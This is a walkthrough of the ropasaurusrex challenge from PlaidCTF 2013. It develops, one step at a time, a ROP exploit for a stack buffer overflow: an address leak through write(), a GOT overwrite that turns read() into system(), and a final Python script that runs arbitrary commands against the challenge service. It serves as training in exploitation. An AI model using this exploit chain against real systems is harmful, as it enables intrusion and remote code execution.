Introduction
This is walkthrough for Ropasaurusrex challenge from PlaidCTF 2013.
Repo for binary: https://github.com/adamdoupe/ctf-training/tree/master/ropasaurusrex
Docker:
docker run -p 127.0.0.1:31337:31337 -it adamdoupe/ropasaurusrex
Crashing the Program:
Enable Core Dumps:
$ ulimit -c unlimited
Sending large string:
$ python -c "print ('A'*300)" | ./ropasaurusrex
zsh: done python -c "print ('A'*300)" |
zsh: segmentation fault (core dumped) ./ropasaurusrex
Inspecting core dump:
$ gdb ./ropasaurusrex -q core
Reading symbols from ./ropasaurusrex...
(No debugging symbols found in ./ropasaurusrex)
[New LWP 10136]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1".
Core was generated by `./ropasaurusrex'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0x41414141 in ?? ()
gdb-peda$
EIP Overwritten with0x41414141
.
Controlling EIP
$ echo "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9" | ./ropasaurusrex
zsh: done echo |
zsh: segmentation fault (core dumped) ./ropasaurusrex
$ gdb ./ropasaurusrex -q core
Reading symbols from ./ropasaurusrex...
(No debugging symbols found in ./ropasaurusrex)
[New LWP 11049]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1".
Core was generated by `./ropasaurusrex'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0x37654136 in ?? ()
gdb-peda$
EIP Offset: 140
$ `locate pattern_offset.rb` -q 0x37654136
[*] Exact match at offset 140
Overwriting EIP:
$ python -c "print ('A'*140 + 'B'*4 + (300-140-4)*'C')" | ./ropasaurusrex
zsh: done python -c "print ('A'*140 + 'B'*4 + (300-140-4)*'C')" |
zsh: segmentation fault (core dumped) ./ropasaurusrex
$ gdb ./ropasaurusrex -q core
Reading symbols from ./ropasaurusrex...
(No debugging symbols found in ./ropasaurusrex)
[New LWP 11672]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1".
Core was generated by `./ropasaurusrex'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0x42424242 in ?? ()
gdb-peda$ x/20wx $esp
0xbff838c0: 0x43434343 0x43434343 0x43434343 0x43434343
0xbff838d0: 0x43434343 0x43434343 0x43434343 0x43434343
0xbff838e0: 0x43434343 0x43434343 0x43434343 0x43434343
0xbff838f0: 0x43434343 0x43434343 0x43434343 0x43434343
0xbff83900: 0x43434343 0x43434343 0x43434343 0x43434343
gdb-peda$
Protection Mechanisms
$ gdb ./ropasaurusrex -q
Reading symbols from ./ropasaurusrex...
(No debugging symbols found in ./ropasaurusrex)
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : disabled
gdb-peda$
ASLR
is disabled on the binary but on the OS it is enabled.NX
is enabled.
Functions - read() and write() in PLT
Method 1:
gdb-peda$ info functions
All defined functions:
Non-debugging symbols:
0x080482fc __gmon_start__@plt
0x0804830c write@plt
0x0804831c __libc_start_main@plt
0x0804832c read@plt
Method 2:
$ objdump --help
[..]
-D, --disassemble-all Display assembler contents of all sections
[..]
read@plt
:0x0804832c
$ objdump -D ropasaurusrex| grep read@plt
[...]
0804832c <read@plt>:
[...]
write@plt
:0x0804830c
0804830c <write@plt>:
8048442: e8 c5 fe ff ff call 804830c <write@plt>
Find GOT address of read()
If we disassemble the read@plt
, its an indirect jump to [email protected]
and will resolve the address of read()
during runtime.
gdb-peda$ disassemble 0x0804832c
Dump of assembler code for function read@plt:
0x0804832c <+0>: jmp DWORD PTR ds:0x804961c
0x08048332 <+6>: push 0x18
0x08048337 <+11>: jmp 0x80482ec
End of assembler dump.
gdb-peda$ x/xw 0x804961c
0x804961c <read@got.plt>: 0xb7d05440
gdb-peda$ p read
$1 = {ssize_t (int, void *, size_t)} 0xb7d05440 <__GI___libc_read>
gdb-peda$
read got address: 0x804961c
Hint: If we can overwrite this address with address of any other function, say
system()
, any calls toread()
will become a call to system.
Useful Gadgets
gdb-peda$ ropgadget
ret = 0x80482ca
popret = 0x80483c3
pop2ret = 0x80483c2
pop3ret = 0x80484b6
pop4ret = 0x80484b5
addesp_12 = 0x80483bf
addesp_44 = 0x80484b2
gdb-peda$
Approach
- Use
write()
to read address pointed by ([email protected]
) ofread()
and write it to socketstdout
. - Calculate offset between
system()
and leakedread()
address. - Calculate address of
system()
by adding/subtracting from the leaked address ofread()
. - Use
read()
function to read a string (/usr/bin/id
) from socketstdin
and write it to a location -.bss
for example. - Use
read()
function to read from socketstdin
the address ofsystem()
and overwrite[email protected]
. - Call
read()
which will now callsystem()
with the address of command string stored in memory in previous step.
Implementation
Leaking address of read() function
#!/usrb/bin/env python2
import struct
import re
from socket import create_connection as cc
def p(a):
return struct.pack("I", a)
def to_address_32(addr):
# encode to hex string
addr = addr.encode('hex')
# split by every 2 characters
temp = re.findall('..', addr)[::-1]
return "0x{}".format(''.join(temp))
# fake return address for testing
fake_ret = 0xcafebabe
# EIP Offset 140
payload = b"A"*140
# read@plt and write@plt
read_plt = 0x0804832c
write_plt = 0x0804830c
# pointer to read()'s address
read_got_plt_ptr = 0x804961c
# Step1 - Leak the address of read()
# write()
# ssize_t write(int fd, const void *buf, size_t count);
# write() writes up to count bytes from the buffer starting at buf
# to the file referred to by the file descriptor fd.
payload += p(write_plt) # EIP with write@plt
payload += p(fake_ret) # return address of write@plt, pppr or fake_ret
payload += p(0x1) # fd; 1 - stdout
payload += p(read_got_plt_ptr) # read from [email protected] to leak read()'s address
payload += p(0x4) # read 4 bytes
con = cc(("127.0.0.1",4444))
con.send(payload)
read_leaked = con.recv(4)
print (to_address_32(read_leaked))
con.close
Running the poc against executable listening on localhost 4444:
$ nc -vv -l -p 4444 -e ./ropasaurusrex
listening on [any] 4444 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 36106
zsh: segmentation fault (core dumped) nc -vv -l -p 4444 -e ./ropasaurusrex
PoC:
$ python2 ropa.py
0xb7d05440
PoC leaks an address, lets verify if its read()
function address by inspecting coredump in gdb.
$ gdb ./ropasaurusrex -q core
Reading symbols from ./ropasaurusrex...
(No debugging symbols found in ./ropasaurusrex)
[New LWP 644]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1".
Core was generated by `ropasaurusrex'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0xcafebabe in ?? ()
gdb-peda$ p read
$1 = {ssize_t (int, void *, size_t)} 0xb7d05440 <__GI___libc_read>
gdb-peda$
We have successfully leaked address of read()
.
Finding offset of system() from read() and calculating its address
This is on my kali machine, the target system has a different libc shared library, so offset might be different.
gdb-peda$ p read
$1 = {ssize_t (int, void *, size_t)} 0xb7d05440 <__GI___libc_read>
gdb-peda$ p system
$2 = {int (const char *)} 0xb7c47040 <__libc_system>
gdb-peda$
Offset:
>>> hex(0xb7d05440 - 0xb7c47040)
'0xbe400'
we need to subtract 0xbe400
from leaked address of read()
to get address of system()
.
Note: Few changes are made to the poc.
- Script is now python3
- Makes use of pwntools functions.
#!/usrb/bin/env python3
import struct
import re
from socket import create_connection as cc
from pwn import *
def p(a):
return struct.pack("I", a)
def to_address_32(addr):
# encode to hex string
addr = addr.encode('hex')
# split by every 2 characters
temp = re.findall('..', addr)[::-1]
return "0x{}".format(''.join(temp))
# fake return address for testing
fake_ret = 0xcafebabe
# EIP Offset 140
payload = b"A"*140
# read@plt and write@plt
read_plt = 0x0804832c
write_plt = 0x0804830c
# pointer to read()'s address
read_got_plt_ptr = 0x804961c
system_offset = 0xbe400
# Step1 - Leak the address of read()
# write()
# ssize_t write(int fd, const void *buf, size_t count);
# write() writes up to count bytes from the buffer starting at buf
# to the file referred to by the file descriptor fd.
payload += p32(write_plt) # EIP with write@plt
payload += p32(fake_ret) # return address of write@plt, pppr or fake_ret
payload += p32(0x1) # fd; 1 - stdout
payload += p32(read_got_plt_ptr) # read from [email protected] to leak read()'s address
payload += p32(0x4) # read 4 bytes
con = cc(("127.0.0.1",4444))
con.send(payload)
read_leaked = con.recv(4)
read_leaked_addr = u32(read_leaked)
print ("[+] Leaked address of read(): %s" % hex(read_leaked_addr))
system_addr = read_leaked_addr - system_offset
print ("[*] Calculated address of system(): %s" % hex(system_addr))
con.close()
Using pwntools to find the offset of system
Challange libc.so.6
system offset.
>>> from pwn import *
[!] Pwntools does not support 32-bit Python. Use a 64-bit release.
>>> libc = ELF("./libc.so.6")
[*] '/home/kali/Desktop/rop/libc.so.6'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
>>> libc.symbols[b"system"]
241056
>>> hex(libc.symbols[b"system"])
'0x3ada0'
>>> hex(libc.symbols[b"read"])
'0xd5980'
>>> hex(libc.symbols[b"read"] - libc.symbols[b"system"])
'0x9abe0'
>>>
Local testing kali.
$ ldd ropasaurusrex
linux-gate.so.1 (0xb7ee8000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7c00000)
/lib/ld-linux.so.2 (0xb7eea000)
>>> libc_kali = ELF("/lib/i386-linux-gnu/libc.so.6")
[*] '/lib/i386-linux-gnu/libc.so.6'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
>>> hex(libc_kali.symbols[b"read"] - libc_kali.symbols[b"system"])
'0xbe400'
>>>
Reading command to be executed from socket stdin and writing to .bss address
Finding a writable location:
$ objdump -x ropasaurusrex
[..]
24 .bss 00000008 08049628 08049628 00000628 2**2
[..]
.bss
address - 08049628
Updating the PoC with first read()
to read from socket stdin
the command
to be executed by system()
and store at .bss
address.
#!/usrb/bin/env python3
import struct
import re
from socket import create_connection as cc
from pwn import *
def p(a):
return struct.pack("I", a)
def to_address_32(addr):
# encode to hex string
addr = addr.encode('hex')
# split by every 2 characters
temp = re.findall('..', addr)[::-1]
return "0x{}".format(''.join(temp))
# fake return address for testing
fake_ret = 0xcafebabe
# EIP Offset 140
payload = b"A"*140
# read@plt and write@plt
read_plt = 0x0804832c
write_plt = 0x0804830c
# pointer to read()'s address
read_got_plt_ptr = 0x804961c
# system offset from read();
system_offset = 0xbe400
# gadget
pop3ret = 0x80484b6
# buffer for saving command to be run by system
# objdump -x ropasaurusrex
# 24 .bss 00000008 08049628 08049628 00000628 2**2
buf = 0x08049628
# command to run
command = b"/usr/bin/id\x00"
# Step1 - Leak the address of read()
# write to socket stdout the address pointed by [email protected]
# write()
# ssize_t write(int fd, const void *buf, size_t count);
# write() writes up to count bytes from the buffer starting at buf
# to the file referred to by the file descriptor fd.
payload += p32(write_plt) # EIP with write@plt
payload += p32(pop3ret) # return address of write@plt, pppr or fake_ret
payload += p32(0x1) # fd; 1 - stdout
payload += p32(read_got_plt_ptr) # read from [email protected] to leak read()'s address
payload += p32(0x4) # read 4 bytes
# Step 2 - Save the command to run somewhere in memory
# read()
# ssize_t read(int fd, void *buf, size_t count);
# read() attempts to read up to count bytes from file descriptor fd
# into the buffer starting at buf.
payload += p32(read_plt) # read@plt address
payload += p32(fake_ret) # read@plt's return address; pppr or fake_ret
payload += p32(0x0) # fd; socket stdin; 0x0
payload += p32(buf) # *buf; where to save the command; .bss
payload += p32(len(command)) # length of command
con = cc(("127.0.0.1",4444))
con.send(payload)
# reading the address of read() function written to stdout as a result of the write() call.
read_leaked = con.recv(4)
read_leaked_addr = u32(read_leaked)
print ("[+] Leaked address of read(): %s" % hex(read_leaked_addr))
system_addr = read_leaked_addr - system_offset
print ("[*] Calculated address of system(): %s" % hex(system_addr))
# sending the command to be run with system() and store at .bss address
print ("[*] Sending the command to be run with system() to store at .bss address")
con.send(command)
con.close()
Running the poc against ropasaurusrex
.
$ python3 ropa.py
[!] Pwntools does not support 32-bit Python. Use a 64-bit release.
[+] Leaked address of read(): 0xb7d05440
[*] Calculated address of system(): 0xb7c47040
[*] Sending the command to be run with system() to store at .bss address
Inspecting the coredump.
$ nc -vv -l -p 4444 -e ./ropasaurusrex
listening on [any] 4444 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 43096
zsh: segmentation fault (core dumped) nc -vv -l -p 4444 -e ./ropasaurusrex
$ gdb ./ropasaurusrex -q core
Reading symbols from ./ropasaurusrex...
(No debugging symbols found in ./ropasaurusrex)
[New LWP 2463]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1".
Core was generated by `ropasaurusrex'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0xcafebabe in ?? ()
gdb-peda$ x/s 0x08049628 # .bss address
0x8049628: "/usr/bin/id"
gdb-peda$
We have successfully stored the command to be executed at the address of .bss
.
Overwriting address pointed by [email protected] with system address
Since we already leaked the address of read()
and calculated the address of system()
, lets overwrite the address pointed by [email protected]
with the address of system()
.
This will be the second call to read()
to read from socket stdin
the address of system()
and write to address pointed by [email protected]
.
#!/usrb/bin/env python3
import struct
import re
from socket import create_connection as cc
from pwn import *
def p(a):
return struct.pack("I", a)
def to_address_32(addr):
# encode to hex string
addr = addr.encode('hex')
# split by every 2 characters
temp = re.findall('..', addr)[::-1]
return "0x{}".format(''.join(temp))
# fake return address for testing
fake_ret = 0xcafebabe
# EIP Offset 140
payload = b"A"*140
# read@plt and write@plt
read_plt = 0x0804832c
write_plt = 0x0804830c
# pointer to read()'s address
# address pointed by this will be overwritten with system address
read_got_plt_ptr = 0x804961c
# system offset from read();
system_offset = 0xbe400
# gadget
pop3ret = 0x80484b6
# buffer for saving command to be run by system
# objdump -x ropasaurusrex
# 24 .bss 00000008 08049628 08049628 00000628 2**2
buf = 0x08049628
# command to run
command = b"/usr/bin/id\x00"
# Step1 - Leak the address of read()
# write to socket stdout the address pointed by [email protected]
# write()
# ssize_t write(int fd, const void *buf, size_t count);
# write() writes up to count bytes from the buffer starting at buf
# to the file referred to by the file descriptor fd.
payload += p32(write_plt) # EIP with write@plt
payload += p32(pop3ret) # return address of write@plt, pppr or fake_ret
payload += p32(0x1) # fd; 1 - stdout
payload += p32(read_got_plt_ptr) # read from [email protected] to leak read()'s address
payload += p32(0x4) # read 4 bytes
# Step 2 - Save the command to run somewhere in memory
# read()
# ssize_t read(int fd, void *buf, size_t count);
# read() attempts to read up to count bytes from file descriptor fd
# into the buffer starting at buf.
payload += p32(read_plt) # read@plt address
payload += p32(pop3ret) # read@plt's return address; pppr or fake_ret
payload += p32(0x0) # fd; socket stdin; 0x0
payload += p32(buf) # *buf; where to save the command; .bss
payload += p32(len(command)) # length of command
# Step 3 - Overwrite address pointed by [email protected] with address of system
# read from socket stdin the address of system and write to address pointed by [email protected]
payload += p32(read_plt) # read@plt
payload += p32(fake_ret) # return addr of read@plt; pppr or fake_ret
payload += p32(0x0) # fd; 0 - stdin
payload += p32(read_got_plt_ptr) # *buf; overwrite [email protected]
payload += p32(0x4) # overwrite 4 bytes
con = cc(("127.0.0.1",4444))
con.send(payload)
# reading the address of read() function written to stdout as a result of the write() call.
read_leaked = con.recv(4)
read_leaked_addr = u32(read_leaked)
print ("[+] Leaked address of read(): %s" % hex(read_leaked_addr))
system_addr = read_leaked_addr - system_offset
print ("[*] Calculated address of system(): %s" % hex(system_addr))
# sending the command to be run with system() and store at .bss address
print ("[*] Sending the command to be run with system() to store at .bss address")
con.send(command)
# sending the address of system to be read by read() from socket stdin
# and write to address pointed by [email protected]
print ("[*] Sending address of system to overwrite address pointed by [email protected]!")
con.send(p32(system_addr))
con.close()
Testing against the binary.
$ python3 ropa.py
[!] Pwntools does not support 32-bit Python. Use a 64-bit release.
[+] Leaked address of read(): 0xb7d05440
[*] Calculated address of system(): 0xb7c47040
[*] Sending the command to be run with system() to store at .bss address
[*] Sending address of system to overwrite address pointed by read@got.plt!
Inspecting the coredump, we can see that the address pointed by [email protected]
is overwritten by the address of system()
. Excellent!.
$ nc -vv -l -p 4444 -e ./ropasaurusrex
listening on [any] 4444 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 48484
zsh: segmentation fault (core dumped) nc -vv -l -p 4444 -e ./ropasaurusrex
$ gdb ./ropasaurusrex -q core
Reading symbols from ./ropasaurusrex...
(No debugging symbols found in ./ropasaurusrex)
[New LWP 5137]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1".
Core was generated by `ropasaurusrex'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0xcafebabe in ?? ()
gdb-peda$ x/s 0x08049628 # .bss points to the command string
0x8049628: "/usr/bin/id"
gdb-peda$ x/xw 0x804961c # read@got.plt points to system
0x804961c <read@got.plt>: 0xb7c47040 # system() address
gdb-peda$ p system
$1 = {int (const char *)} 0xb7c47040 <__libc_system>
gdb-peda$
Now any calls to read()
will in fact be a call to system()
.
Calling system()
The step remaining is to call system()
with the command string
stored at .bss
address.
Final PoC which executes system('/usr/bin/id')
:
#!/usrb/bin/env python3
import struct
import re
from socket import create_connection as cc
from pwn import *
def p(a):
return struct.pack("I", a)
def to_address_32(addr):
# encode to hex string
addr = addr.encode('hex')
# split by every 2 characters
temp = re.findall('..', addr)[::-1]
return "0x{}".format(''.join(temp))
# fake return address for testing
fake_ret = 0xcafebabe
# EIP Offset 140
payload = b"A"*140
# read@plt and write@plt
read_plt = 0x0804832c
write_plt = 0x0804830c
# [email protected]
# pointer to read()'s address
# address pointed by this will be overwritten with system address
read_got_plt_ptr = 0x804961c
# system offset from read();
system_offset = 0xbe400
# gadget
pop3ret = 0x80484b6
# buffer for saving command to be run by system
# objdump -x ropasaurusrex
# 24 .bss 00000008 08049628 08049628 00000628 2**2
buf = 0x08049628
# command to run
command = b"/usr/bin/id\x00"
# Step1 - Leak the address of read()
# write to socket stdout the address pointed by [email protected]
# write()
# ssize_t write(int fd, const void *buf, size_t count);
# write() writes up to count bytes from the buffer starting at buf
# to the file referred to by the file descriptor fd.
payload += p32(write_plt) # EIP with write@plt
payload += p32(pop3ret) # return address of write@plt, pppr or fake_ret
payload += p32(0x1) # fd; 1 - stdout
payload += p32(read_got_plt_ptr) # read from [email protected] to leak read()'s address
payload += p32(0x4) # read 4 bytes
# Step 2 - Save the command to run somewhere in memory
# read()
# ssize_t read(int fd, void *buf, size_t count);
# read() attempts to read up to count bytes from file descriptor fd
# into the buffer starting at buf.
payload += p32(read_plt) # read@plt address
payload += p32(pop3ret) # read@plt's return address; pppr or fake_ret
payload += p32(0x0) # fd; socket stdin; 0x0
payload += p32(buf) # *buf; where to save the command; .bss
payload += p32(len(command)) # length of command
# Step 3 - Overwrite address pointed by [email protected] with address of system
# read from socket stdin the address of system and write to address pointed by [email protected]
payload += p32(read_plt) # read@plt
payload += p32(pop3ret) # return addr of read@plt; pppr or fake_ret
payload += p32(0x0) # fd; 0 - stdin
payload += p32(read_got_plt_ptr) # *buf; overwrite [email protected]
payload += p32(0x4) # overwrite 4 bytes
# Step 4 - Call system()
# Call read@plt which in turn will call system as we overwrote address [email protected] with address of system()
payload += p32(read_plt) # read@plt -> [email protected] -> system()
payload += p32(fake_ret) # return address of system
payload += p32(buf) # command to run; .bss = buf
con = cc(("127.0.0.1",4444))
con.send(payload)
# reading the address of read() function written to stdout as a result of the write() call.
read_leaked = con.recv(4)
read_leaked_addr = u32(read_leaked)
print ("[+] Leaked address of read(): %s" % hex(read_leaked_addr))
system_addr = read_leaked_addr - system_offset
print ("[*] Calculated address of system(): %s" % hex(system_addr))
# sending the command to be run with system() and store at .bss address
# this will be read by the first read()
print ("[*] Sending the command to be run with system() to store at .bss address")
con.send(command)
# sending the address of system to be read by read() from socket stdin
# and write to address pointed by [email protected]
# this will be read by the second read
print ("[*] Sending address of system to overwrite address pointed by [email protected]!")
con.send(p32(system_addr))
print ("[+] Receiving the output of the command\n")
cmd_out = con.recv(1024).decode()
print (cmd_out)
con.close()
Running the PoC:
$ python3 ropa.py
[!] Pwntools does not support 32-bit Python. Use a 64-bit release.
[+] Leaked address of read(): 0xb7d05440
[*] Calculated address of system(): 0xb7c47040
[*] Sending the command to be run with system() to store at .bss address
[*] Sending address of system to overwrite address pointed by read@got.plt!
[+] Receiving the output of the command
uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),115(bluetooth),125(scanner),141(wireshark),143(kaboxer)
Coredump:
$ nc -vv -l -p 4444 -e ./ropasaurusrex
listening on [any] 4444 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 44476
zsh: segmentation fault (core dumped) nc -vv -l -p 4444 -e ./ropasaurusrex
$ gdb ./ropasaurusrex -q core
Reading symbols from ./ropasaurusrex...
(No debugging symbols found in ./ropasaurusrex)
[New LWP 8345]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1".
Core was generated by `ropasaurusrex'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0xcafebabe in ?? ()
gdb-peda$ x/s 0x08049628
0x8049628: "/usr/bin/id"
gdb-peda$ x/xw 0x804961c
0x804961c <read@got.plt>: 0xb7c47040
gdb-peda$ p system
$1 = {int (const char *)} 0xb7c47040 <__libc_system>
gdb-peda$
Final Exploit To Run Any Arbitrary Command
PoC:
#!/usr/bin/env python3
import sys
from socket import create_connection as cc
from pwn import *
# fake return address for testing
fake_ret = 0xcafebabe
# EIP Offset 140
payload = b"A"*140
# read@plt and write@plt
read_plt = 0x0804832c
write_plt = 0x0804830c
# [email protected]
# pointer to read()'s address
# address pointed by this will be overwritten with system address
read_got_plt_ptr = 0x804961c
# system offset from read();
system_offset = 0xbe400
# gadget
pop3ret = 0x80484b6
# buffer for saving command to be run by system
# objdump -x ropasaurusrex
# 24 .bss 00000008 08049628 08049628 00000628 2**2
buf = 0x08049628
# command to run
command = b"%s\x00" % sys.argv[1].encode()
# Step1 - Leak the address of read()
# write to socket stdout the address pointed by [email protected]
# write()
# ssize_t write(int fd, const void *buf, size_t count);
# write() writes up to count bytes from the buffer starting at buf
# to the file referred to by the file descriptor fd.
payload += p32(write_plt) # EIP with write@plt
payload += p32(pop3ret) # return address of write@plt, pppr or fake_ret
payload += p32(0x1) # fd; 1 - stdout
payload += p32(read_got_plt_ptr) # read from [email protected] to leak read()'s address
payload += p32(0x4) # read 4 bytes
# Step 2 - Save the command to run somewhere in memory
# read()
# ssize_t read(int fd, void *buf, size_t count);
# read() attempts to read up to count bytes from file descriptor fd
# into the buffer starting at buf.
payload += p32(read_plt) # read@plt address
payload += p32(pop3ret) # read@plt's return address; pppr or fake_ret
payload += p32(0x0) # fd; socket stdin; 0x0
payload += p32(buf) # *buf; where to save the command; .bss
payload += p32(len(command)) # length of command
# Step 3 - Overwrite address pointed by [email protected] with address of system
# read from socket stdin the address of system and write to address pointed by [email protected]
payload += p32(read_plt) # read@plt
payload += p32(pop3ret) # return addr of read@plt; pppr or fake_ret
payload += p32(0x0) # fd; 0 - stdin
payload += p32(read_got_plt_ptr) # *buf; overwrite [email protected]
payload += p32(0x4) # overwrite 4 bytes
# Step 4 - Call system()
# Call read@plt which in turn will call system as we overwrote address [email protected] with address of system()
payload += p32(read_plt) # read@plt -> [email protected] -> system()
payload += p32(fake_ret) # return address of system
payload += p32(buf) # command to run; .bss = buf
con = cc(("127.0.0.1",4444))
con.send(payload)
# reading the address of read() function written to stdout as a result of the write() call.
read_leaked = con.recv(4)
read_leaked_addr = u32(read_leaked)
print ("[+] Leaked address of read(): %s" % hex(read_leaked_addr))
system_addr = read_leaked_addr - system_offset
print ("[*] Calculated address of system(): %s" % hex(system_addr))
# sending the command to be run with system() and store at .bss address
# this will be read by the first read()
print ("[*] Sending the command to be run with system() to store at .bss address")
con.send(command)
# sending the address of system to be read by read() from socket stdin
# and write to address pointed by [email protected]
# this will be read by the second read
print ("[*] Sending address of system to overwrite address pointed by [email protected]!")
con.send(p32(system_addr))
print ("[+] Receiving the output of the command\n")
cmd_out = con.recv(1024).decode()
print (cmd_out)
con.close()
Run the program:
$ while true; do nc -vv -l -p 4444 -e ./ropasaurusrex; done
listening on [any] 4444 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 49598
listening on [any] 4444 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 35114
listening on [any] 4444 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 47298
listening on [any] 4444 ...
Sample Output:
$ python3 ropa.py "id"
[!] Pwntools does not support 32-bit Python. Use a 64-bit release.
[+] Leaked address of read(): 0xb7d05440
[*] Calculated address of system(): 0xb7c47040
[*] Sending the command to be run with system() to store at .bss address
[*] Sending address of system to overwrite address pointed by read@got.plt!
[+] Receiving the output of the command
uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),115(bluetooth),125(scanner),141(wireshark),143(kaboxer)
$ python3 ropa.py "whoami"
[!] Pwntools does not support 32-bit Python. Use a 64-bit release.
[+] Leaked address of read(): 0xb7d05440
[*] Calculated address of system(): 0xb7c47040
[*] Sending the command to be run with system() to store at .bss address
[*] Sending address of system to overwrite address pointed by read@got.plt!
[+] Receiving the output of the command
kali
$ python3 ropa.py "ls -l"
[!] Pwntools does not support 32-bit Python. Use a 64-bit release.
[+] Leaked address of read(): 0xb7d05440
[*] Calculated address of system(): 0xb7c47040
[*] Sending the command to be run with system() to store at .bss address
[*] Sending address of system to overwrite address pointed by read@got.plt!
[+] Receiving the output of the command
total 1848
-rw------- 1 kali kali 253952 Nov 4 09:03 core
-rw-r--r-- 1 kali kali 1786484 Nov 4 06:18 libc.so.6
-rw-r--r-- 1 kali kali 3739 Nov 4 09:03 ropa.py
-rwxr-xr-x 1 kali kali 2948 Nov 4 06:13 ropasaurusrex
Updating the exploit with system() offset from challenge server LIBC.
Updated PoC:
#!/usr/bin/env python3
import sys
from socket import create_connection as cc
from pwn import *
# fake return address for testing
fake_ret = 0xcafebabe
# EIP Offset 140
payload = b"A"*140
# read@plt and write@plt
read_plt = 0x0804832c
write_plt = 0x0804830c
# [email protected]
# pointer to read()'s address
# address pointed by this will be overwritten with system address
read_got_plt_ptr = 0x804961c
# system offset from read();
system_offset = 0x9abe0
# gadget
pop3ret = 0x80484b6
# buffer for saving command to be run by system
# objdump -x ropasaurusrex
# 24 .bss 00000008 08049628 08049628 00000628 2**2
buf = 0x08049628
# command to run
command = b"%s\x00" % sys.argv[1].encode()
# Step1 - Leak the address of read()
# write to socket stdout the address pointed by [email protected]
# write()
# ssize_t write(int fd, const void *buf, size_t count);
# write() writes up to count bytes from the buffer starting at buf
# to the file referred to by the file descriptor fd.
payload += p32(write_plt) # EIP with write@plt
payload += p32(pop3ret) # return address of write@plt, pppr or fake_ret
payload += p32(0x1) # fd; 1 - stdout
payload += p32(read_got_plt_ptr) # read from [email protected] to leak read()'s address
payload += p32(0x4) # read 4 bytes
# Step 2 - Save the command to run somewhere in memory
# read()
# ssize_t read(int fd, void *buf, size_t count);
# read() attempts to read up to count bytes from file descriptor fd
# into the buffer starting at buf.
payload += p32(read_plt) # read@plt address
payload += p32(pop3ret) # read@plt's return address; pppr or fake_ret
payload += p32(0x0) # fd; socket stdin; 0x0
payload += p32(buf) # *buf; where to save the command; .bss
payload += p32(len(command)) # length of command
# Step 3 - Overwrite address pointed by [email protected] with address of system
# read from socket stdin the address of system and write to address pointed by [email protected]
payload += p32(read_plt) # read@plt
payload += p32(pop3ret) # return addr of read@plt; pppr or fake_ret
payload += p32(0x0) # fd; 0 - stdin
payload += p32(read_got_plt_ptr) # *buf; overwrite [email protected]
payload += p32(0x4) # overwrite 4 bytes
# Step 4 - Call system()
# Call read@plt which in turn will call system as we overwrote address [email protected] with address of system()
payload += p32(read_plt) # read@plt -> [email protected] -> system()
payload += p32(fake_ret) # return address of system
payload += p32(buf) # command to run; .bss = buf
con = cc(("127.0.0.1",31337))
con.send(payload)
# reading the address of read() function written to stdout as a result of the write() call.
read_leaked = con.recv(4)
read_leaked_addr = u32(read_leaked)
print ("[+] Leaked address of read(): %s" % hex(read_leaked_addr))
system_addr = read_leaked_addr - system_offset
print ("[*] Calculated address of system(): %s" % hex(system_addr))
# sending the command to be run with system() and store at .bss address
# this will be read by the first read()
print ("[*] Sending the command to be run with system() to store at .bss address")
con.send(command)
# sending the address of system to be read by read() from socket stdin
# and write to address pointed by [email protected]
# this will be read by the second read
print ("[*] Sending address of system to overwrite address pointed by [email protected]!")
con.send(p32(system_addr))
print ("[+] Receiving the output of the command\n")
cmd_out = con.recv(1024).decode()
print (cmd_out)
con.close()
Spinning Up the Docker Container:
C:\Users\MEH>docker run -p 127.0.0.1:31337:31337 -it adamdoupe/ropasaurusrex
Service defaults
Bind = All addresses.
Only from: All sites
No access: No blocked sites
No logging
Service configuration: challenge
id = challenge
flags = IPv4
type = UNLISTED
socket_type = stream
Protocol (name,number) = (tcp,6)
port = 31337
Instances = 50
wait = no
user = 65534
Groups = no
PER_SOURCE = -1
Bind = 0.0.0.0
Server = /challenge/challenge
